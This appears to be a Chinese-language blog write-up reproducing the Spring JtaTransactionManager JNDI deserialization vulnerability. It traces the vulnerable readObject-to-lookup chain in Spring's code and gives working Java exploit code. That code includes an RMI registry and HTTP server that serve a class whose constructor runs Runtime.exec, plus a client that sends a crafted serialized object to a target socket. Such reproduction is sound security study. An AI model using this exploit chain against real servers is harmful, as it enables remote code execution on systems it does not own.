Spring-jndi 反序列化復現
眾所周知Spring框架是一款用途廣泛影響深遠的java框架,因此Spring框架一旦出現漏洞也是影響深遠。這次分析的Spring jdni反序列化漏洞主要存在於spring-tx包中,該包中的 org.springframeworkl.transation.jta.JtaTransationManager
類存在JDNI反序列化的問題,可以載入我們註冊的RMI連結,然後將物件傳送到有漏洞的伺服器從而執行遠端命令。首先應當注意本文中成功執行的Poc本人僅在jdk1.7中測試成功,而jdk1.8中未測試成功。
什麼是JNDI?
JNDI
(Java Naming and Directory Interface)是J2EE中的重要規範之一,是一組在Java應用中訪問命名和目錄服務的API,使得我們能夠通過名稱去查詢資料來源從而訪問需要的物件。
這裡我們給出在java下的一段提供JNDI服務的程式碼:
System.out.println("Starting HTTP server"); HttpServer httpServer = HttpServer.create(new InetSocketAddress(8086), 0); httpServer.createContext("/",new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); System.out.println("Creating RMI Registry"); Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.01:8086/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper);
這裡我們建立了一個HTTP服務後又建立了一個RMI服務,並且RMI服務提供了對 ExportObject
類的查詢,這裡ExportObject類的原始碼為:
public class ExportObject { public ExportObject() { try { Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch(Exception e) { e.printStackTrace(); } } }
其功能便是執行我們驗證rce時常用的呼叫計算器的功能。
要載入ExportObject類我們可以使用以下的程式碼:
Context ctx=new InitialContext(); ctx.lookup("rmi://127.0.0.1:1099/Object"); //System.out.println("loaded obj");
執行以下程式碼後可以發現ExportObject類的建構函式被呼叫,彈出了計算器。
Spring框架中的JNDI反序列化漏洞
導致JNDI反序列化問題的類主要是 org.springframework.transaction.jta.JtaTransactionManager
類。跟進該類的原始碼中的 readObject()
函式:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); this.jndiTemplate = new JndiTemplate(); this.initUserTransactionAndTransactionManager(); this.initTransactionSynchronizationRegistry(); }
繼續跟進 initUserTransactionAndTransactionManager()
函式
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException { if (this.userTransaction == null) { if (StringUtils.hasLength(this.userTransactionName)) { this.userTransaction = this.lookupUserTransaction(this.userTransactionName); this.userTransactionObtainedFromJndi = true; } else { this.userTransaction = this.retrieveUserTransaction(); if (this.userTransaction == null && this.autodetectUserTransaction) { this.userTransaction = this.findUserTransaction(); } } }
繼續進一步跟進 lookupUserTransaction()
函式
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException { try { if (this.logger.isDebugEnabled()) { this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]"); } return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class); } catch (NamingException var3) { throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3); } }
可以看到最終 return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class)
,跟進 JndiTemplate
類的 lookup
方法,
public Object lookup(final String name) throws NamingException { if (this.logger.isDebugEnabled()) { this.logger.debug("Looking up JNDI object with name [" + name + "]"); } return this.execute(new JndiCallback<Object>() { public Object doInContext(Context ctx) throws NamingException { Object located = ctx.lookup(name); if (located == null) { throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null"); } else { return located; } } }); }
而 execute()
方法的定義如下
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException { Context ctx = this.getContext(); Object var3; try { var3 = contextCallback.doInContext(ctx);//此處觸發RCE } finally { this.releaseContext(ctx); } return var3; }
可以看到在整個流程的最後將會查詢最開始我們由反序列化傳入的 org.springframework.transaction.jta.JtaTransactionManager
類的物件的 userTransactionName
屬性,最終導致載入了我們惡意的rmi源中的惡意類,從而導致RCE。
Poc
這個漏洞的Poc構造比起之前分析的apache common collections反序列化的Poc構造顯然要簡單許多:
System.out.println("Connecting to server "+serverAddress+":"+port); Socket socket=new Socket(serverAddress,port); System.out.println("Connected to server"); String jndiAddress = "rmi://127.0.0.1:1099/Object";//惡意的rmi註冊源 org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress); System.out.println("Sending object to server..."); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(object); objectOutputStream.flush();
執行後可以發現成功彈出計算器。